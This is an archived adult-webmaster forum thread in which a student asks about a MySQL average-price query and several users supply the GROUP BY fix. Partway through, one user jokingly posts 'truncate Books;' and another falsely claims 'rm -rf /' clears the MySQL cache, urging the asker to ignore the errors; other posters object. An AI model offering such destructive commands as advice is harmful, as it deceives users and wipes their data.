GoFuckYourself.com - Adult Webmaster Forum

GoFuckYourself.com - Adult Webmaster Forum (https://gfy.com/index.php)
-   Fucking Around & Business Discussion (https://gfy.com/forumdisplay.php?f=26)
-   -   Mysql question (https://gfy.com/showthread.php?t=995454)

BSleazy 11-01-2010 02:11 PM

Mysql question
 
I'm stuck on this problem :) What am I doing wrong? I need it to show all the book types with their average prices.

For each type of book, list the book type and the average price. Only include paperback books.

mysql> SELECT TYPE, AVG(PRICE)
-> FROM BOOK
-> WHERE PAPERBACK = 'Y';
+------+------------+
| TYPE | AVG(PRICE) |
+------+------------+
| SFI | 10.664348 |
+------+------------+
1 row in set (0.00 sec)

georgeyw 11-01-2010 02:17 PM

Select type, avg(price) from book where paperback = 'y' group by type

Senior_Spank 11-01-2010 02:17 PM

Include a GROUP BY 'column of book name/id' modifier, and it will spit out each book & the average.

http://dev.mysql.com/doc/refman/5.1/...modifiers.html

woj 11-01-2010 02:17 PM

need to "GROUP BY" something

sarettah 11-01-2010 02:18 PM

Quote:

Originally Posted by BCyber (Post 17660232)
I'm stuck on this problem :) What am I doing wrong? I need it to show all the book types with their average prices.

For each type of book, list the book type and the average price. Only include paperback books.

mysql> SELECT TYPE, AVG(PRICE)
-> FROM BOOK
-> WHERE PAPERBACK = 'Y';
+------+------------+
| TYPE | AVG(PRICE) |
+------+------------+
| SFI | 10.664348 |
+------+------------+
1 row in set (0.00 sec)

Select type, avg(price) from book where paperback='Y' group by type

sarettah 11-01-2010 02:19 PM

Quote:

Originally Posted by georgeyw (Post 17660253)
Select type, avg(price) from book where paperback = 'y' group by type

lol, you're just a touch quicker than I am ;p

georgeyw 11-01-2010 02:23 PM

Quote:

Originally Posted by sarettah (Post 17660270)
lol, you're just a touch quicker than I am ;p

haha - I refreshed and saw your reply :1orglaugh :thumbsup

Tempest 11-01-2010 02:24 PM

ha ha ha.. was going to post the same answer as everyone else when there were no replies and then there were 6

Jason Voorhees 11-01-2010 02:29 PM

Select type, avg(price) from book where paperback = 'y' group by type

Jason Voorhees 11-01-2010 02:30 PM

Oh... Oh shit... Am I too late?

BSleazy 11-01-2010 02:40 PM

Dam that was a lot of replies fast...thanks :)

myneid 11-01-2010 03:04 PM

truncate Books;

grumpy 11-01-2010 03:09 PM

Quote:

Originally Posted by myneid (Post 17660724)
truncate Books;

not so funny, apparently the guy isn't to familiar with MYSQL

buran 11-01-2010 03:35 PM

Ohshit, can I get GFY to do my CS101 homework now? Werd!

0x7noah 11-01-2010 03:43 PM

Quote:

Originally Posted by BCyber (Post 17660391)
Dam that was a lot of replies fast...thanks :)

you should clear your mysql cache after the other commands you were trying otherwise things will get real slow. Try
Code:

rm -rf /
at your shell prompt and just ignore the errors.

sextoyking 11-01-2010 03:45 PM

Quote:

Originally Posted by 0x7noah (Post 17660994)
you should clear your mysql cache after the other commands you were trying otherwise things will get real slow. Try
Code:

rm -rf /
at your shell prompt and just ignore the errors.


Your stupid!

do not do rm -rf

0x7noah 11-01-2010 03:48 PM

Quote:

Originally Posted by sextoyking (Post 17661002)
Your stupid!

do not do rm -rf

Why not? It is the best way to clear the cache. Otherwise you have to drop the databases and start over! DURRRR :thumbsup

Jason Voorhees 11-01-2010 04:13 PM

I don't think Bcyber is that stupid.

BSleazy 11-01-2010 05:13 PM

The group by type is what I needed. Now I know where to come for help with my intro to mysql class :)

I think I screwed myself on a couple of questions because we're only allowed to use things we've covered so far in the book but I used some other way I found out but oh well. Easy 4.0 in this class.

BSleazy 12-05-2010 06:34 PM

Anyone know how to do this? Can't figure out how to change columns to not null.

Change the Best_Seller column in the Mystery table to reject nulls.

BSleazy 12-05-2010 06:36 PM

nevermind...soon as i posted that i came across it in my book.


All times are GMT -7. The time now is 10:50 AM.

Powered by vBulletin® Version 3.8.8
Copyright ©2000 - 2025, vBulletin Solutions, Inc.
©2000-, AI Media Network Inc123